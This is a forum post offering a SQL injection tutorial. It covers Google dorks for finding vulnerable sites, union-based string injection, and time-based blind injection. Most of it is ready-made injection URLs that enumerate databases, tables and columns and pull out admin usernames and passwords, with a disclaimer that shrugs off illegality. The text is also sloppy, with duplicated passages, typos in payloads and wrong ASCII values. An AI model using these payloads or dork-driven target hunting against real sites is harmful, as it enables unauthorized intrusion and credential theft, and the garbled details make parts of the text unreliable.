SQL injection techniques 01-24-2013, 02:31 PM
#1
![[Image: RIFMn.jpg]](http://i.imgur.com/RIFMn.jpg)
SQL Injection tutorial
In this tutorial you will understand for those SQL injections:
*Google dorks for SQLi
*String based SQLi
*Time based SQLi
*Blind SQLi
*Error based SQLi
*Double query SQLi
*POST SQLi
*WAF bypassing
This will be very large tutorial so I will post diffrent injections on spoilers.
First I want to excuse for my terible grammar if somebody want to fix it to contact with me =)
I will recommend if you have life out of the computer to stop with SQL injections a lot of them take a lot of time.
I think that it's unless to say that if you inject other sites than your is illegal and I'm not responsible for your actions.
LET'S START !
Google Dorks
Spoiler:
You can use google dorks to find SQL injection vulnerabilities. Here is an example of google dork:
This one will search for "index.php?id" in the URL in .com domains
Here is list with SQLi dorks:
Thanks to The Protagonist(D1551D3N7) for sharing them.
You can add + (domainhere) Here are some examples:
Also you could search for keywords by that way:
just type intext"keyword" and change keyword with something for example credit card.
I think this is enough for basics of google dorks, since I don't want 1000000000000 defanced websites after publishing this.
Code:
inurl:index.php?id= +.comHere is list with SQLi dorks:
Code:
http://pastebin.com/wUyRb0k8You can add + (domainhere) Here are some examples:
Code:
inurl: index.php?id= +.com
inurl: index.php?id= +.net
inurl: index.php?id= +.org
inurl: index.php?id= +.cc
inurl: index.php?id= +.ws
inurl: index.php?id= +.edu
inurl: index.php?id= +.govCode:
inurl:index.php?id= intext"keyword"I think this is enough for basics of google dorks, since I don't want 1000000000000 defanced websites after publishing this.
String based SQLi
Spoiler:
This is one of the easiest SQL injections. I won't tolk shits since I know the most of you want to start exploting ASAP so let's continue.
The diffrent between string SQL injection and the basic SQL injection is that we don't write -- but we write --+,+--+ or +-- and you add' after the parametar. So I will write for basic injection and add examples for string injection
First you need to check if the website is vulnerable. You are doing this by writing ' at the end of URL here is example:
[/code]http://www.site.com/index.php?id=123'If you get similar error the site is vulnerable if you don't then the site isn't vulnerable to string based SQLi. But let's say that our site is vulnerable let's go to the next step.
You should find the number of columns we do that by using "order by" statement, I will highly recommend to add -- before each command except ' =D. Delete the ' and write order by and start guessing numbers of columns, its more easy by start with 100 to be sure that you will get error and then continue by 10, if you get error on 10 too, then try with 5 if you don't get error on 5, try with 7 if you don't get error on 7 try, with 8 if you get error on 8 then the number of columns is 7.
Now you should find the vulnerable column or the column from which you can take information we do that by union select or union all select statement, you should write - before the number here how your URL should look
We know that number of columns is 7 and one of those 7 colums gives information to us. Let's see which one is it.
Now you should see some numbers and one big number this is the vulnerable column. Now we should find the version of the database we do that with @@version or version() command change the vulnerable column number with one of those commands for example our vulnerable column is 5.
Now if the version is >= 5 then this is good if its 4.x.x.x just give up you should guess DB name table name column name you can try to use automate tool like havij . Ok so next step is to find the DB name we do this by group_concat.
Also if you want to get all database then you should search for information.schem you can do that by group_concat(schema_name) command and add this command at the end of the URL "from information_schema.schemata"
Let's say that db name is DataBaseName. Now you should find table name we do this with group_concat(table_name) command and from information_schema.tables where table_schema=database() at the end of URL.
The group_concat command have limit from 1024 characters if you think that those tables are all you should find them manually by using concat() and a limit
Keep increasing that limit. Now you should have list with names for example admins, users, news,... let's check admin. To find columns in table admin we use group_concat(column_name) and from+information_schema.columns where table_name="TABLE NAME HERE".
If you get error you should turn the table name into hex you can use this tool http://www.swingnote.com/tools/texttohex.php to do this!PLACE 0x BEFORE THE HEX VALUE!
you can use limit as the same way as in finding table name.
Now you should see new text let's say that we have username and password to extract information from them we use group_concat(COLUMNS NAMES HERE) and from DATABASE HERE. TABLE NAME HERE
0x3a means colon it's better to use it but it's not so important. This is it you have exploit your web site!
The diffrent between string SQL injection and the basic SQL injection is that we don't write -- but we write --+,+--+ or +-- and you add' after the parametar. So I will write for basic injection and add examples for string injection
First you need to check if the website is vulnerable. You are doing this by writing ' at the end of URL here is example:
[/code]http://www.site.com/index.php?id=123'
Code:
And after you hit enter you should see error message similar to this one:
[code]You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1You should find the number of columns we do that by using "order by" statement, I will highly recommend to add -- before each command except ' =D. Delete the ' and write order by and start guessing numbers of columns, its more easy by start with 100 to be sure that you will get error and then continue by 10, if you get error on 10 too, then try with 5 if you don't get error on 5, try with 7 if you don't get error on 7 try, with 8 if you get error on 8 then the number of columns is 7.
Code:
http://www.site.com/index.php?id=123 order by 100-- *Error
http://www.site.com/index.php?id=123 order by 10-- *Error
http://www.site.com/index.php?id=123 order by 1-- *no error
http://www.site.com/index.php?id=123 order by 5-- *no error
http://www.site.com/index.php?id=123 order by 7-- *no error
http://www.site.com/index.php?id=123 order by 8-- *error
For string injecition
http://www.site.com/index.php?id=123' order by 100--+ *Error
http://www.site.com/index.php?id=123' order by 10--+ *Error
http://www.site.com/index.php?id=123' order by 1--+ *no error
http://www.site.com/index.php?id=123'order by 5--+ *no error
http://www.site.com/index.php?id=123' order by 7--+ *no error
http://www.site.com/index.php?id=123' order by 8--+ *errorCode:
http://www.site.com/index.php?id=-123Code:
http://www.site.com/index.php?id=-123 union all select 1,2,3,4,5,6,7--
For string injection
http://www.site.com/index.php?id=-123' union all select 1,2,3,4,5,6,7--+Code:
http://www.site.com/index.php?id=123 union all select 1,2,3,4,verion(),6,7--
OR
http://www.site.com/index.php?id=123 union all select 1,2,3,4,@@version,6,7--
For string injection
http://www.site.com/index.php?id=123' union all select 1,2,3,4,verion(),6,7--+
OR
http://www.site.com/index.php?id=123' union all select 1,2,3,4,@@version,6,7--+Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4,group_concat(),6,7--
For string injection
http://www.site.com/index.php?id=123' union select 1,2,3,4,group_concat(),6,7--+Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--+Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --+Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1--+Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--+Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--+Now you should see new text let's say that we have username and password to extract information from them we use group_concat(COLUMNS NAMES HERE) and from DATABASE HERE. TABLE NAME HERE
Code:
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin--+Time based SQL injection
Spoiler:
Time based SQL injection is very easy to undestand for me, hope that will be the same with you.
Let's start.
First there are two types of time based(or delay) injection integer and string injection, actually the diffrent between both is one ' in the url. Here is how integer and string injections look:
Integer
String
Actually those commands tell the database to wait 20 second before response if the database don't wait(return directly) its false if wait its true.
Now it's time to find the DB username we have to find all characters, we do this IF (len(user)=number of characters) command + waitfor delay '00:00:20'--
Ok now you ask the database if the user have one character, if yes the database will response after 20 second if not will return directly. Actually I haven't see user name with only one char.
So now the database return on 5 characters, but what exacly are those characters we will use ASCII to see. We will use this command IF (ascii(lower(substring((user),1,1)))>ASCII number) + waitfor delay '00:00:20'--.
Here is nice ASCII table : http://upload.wikimedia.org/wikipedia/co...e-wide.svg. Now we know that the first character is U since the database wait 20 seconds on 55 which is U, now to find the second character we do this by the same command just change 1 to 2:
Now we see that second character is S because database wait for delay on 53 and first char is U second is S this mean that the the name may be user so lets try first with E then with R.
and we have find that th user name is USER. Now it's time to get the database name, hope that the administrator don't like long names acually they don't ;(. The process is pretty same as this with user name we will use ; IF (len(db_name())=number of characters) + waitfor delay '00:00:20'-- to get the lenght of the database name.
We see that the lengh of the database name is 8 so now we should guess the characters again we will use this command IF (ascii(lower(substring((db_name),1,1)))>ASCII) + waitfor delay '00:00:10'--
We see that the first character is D, let's see for the second one
Now we see that the second character is a, let's see for the 3.
Hell yeah the name is Database. Now its time go get table name, we will use IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=number of characters) + waitfor delay '00:00:20'--
Now we see that the lengh of the table is 5 let's start guessing. We do this by this command IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=ASCII) + waitfor delay '00:00:20'--
The first character is a, let's see the second one
Now we see that the second character is d, now again what start with ad and it's 5 characters I bet that it't admin let's see.
YES it's admin, now it's time to extract the column name the command we will use is IF (len(select top 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME')=number of characters) + waitfor delay '00:00:20'--
So we see that our column name lengh is 5, guessing again ;(. We do this by this command IF (ASCII(lower(substring((SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME HERE'),1,1)))=ASCII + waitfor delay '00:00:20'--
Ok so now we see that the first character is U what start with U Username let's try
Nope the secan character isn't s. So we have to continue with guessing
The second one is n let's try with uname ?
Yes the first column name is uname now let's to check for second one we will use this command IF (LEN(SELECT TOP 1 column_name from DATABASE NAME.information_schema.columns where table_name='TABLE NAME' and column_name>'Previous column')=lengh) + waitfor delay '00:00:20'--
Now our next column lengh is 4 characters let's guess it, we do this by the same command as previous we just add column_name>'Previous column'.
Now we see that the first character is p, and let's see what we have its second column start with p and its 4 char long looks like pass, let's try it.
At last now it's time to extract data from columns, and again we should guess it, we do this by this command IF (LEN(SELECT TOP 1 COLUMN NAME from TABLE NAME)=lengh) + waitfor delay '00:00":20'--
We see that text lengh is 5 let's guess it again, we use IF (ASCII(substring((SELECT TOP 1 COLUMN NAME from TABLE NAME),1,1))=ASCII) + waitfor delay '00:00":20'-- command
For here we see that the first char is a, I bet again that this is admin, let's see.
Yes it's admin, ok now let's go to the second column we just write the second column name. First we will get lengh
Now if the password is hashed better give up or use automate tool. If not I will recommend first to see some often used passwords just google it. This password is 4 characters lengh so let's try with love
At lost, we have the admin user name and password admin:love.
Let's start.
First there are two types of time based(or delay) injection integer and string injection, actually the diffrent between both is one ' in the url. Here is how integer and string injections look:
Integer
Code:
www.site..com/index.asp?id=123; waitfor delay '00:00:20'--Code:
www.site..com/index.asp?id=123'; waitfor delay '00:00:20'--Now it's time to find the DB username we have to find all characters, we do this IF (len(user)=number of characters) command + waitfor delay '00:00:20'--
Code:
www.site..com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'--
And for String injection
www.site..com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'--Code:
www.site..com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=3) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / true
Or for String injection
www.site..com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=3) waitfor delay '00:00:20* return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / trueCode:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>82 waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second / true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (len(db_name())=5) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (len(db_name())=5) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'--
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>96) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>116) + waitfor delay '00:00:20'-- * wait 20 second /true
[code]
We see that this character is t, so what start with dat and its 8 characters, hmm, Database yeah ! Let's try it.
[code]
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- ** wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--
For string injection
www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--Code:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / false
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / falseCode:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
www.site..com/index.asp?id=123; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /trueCode:
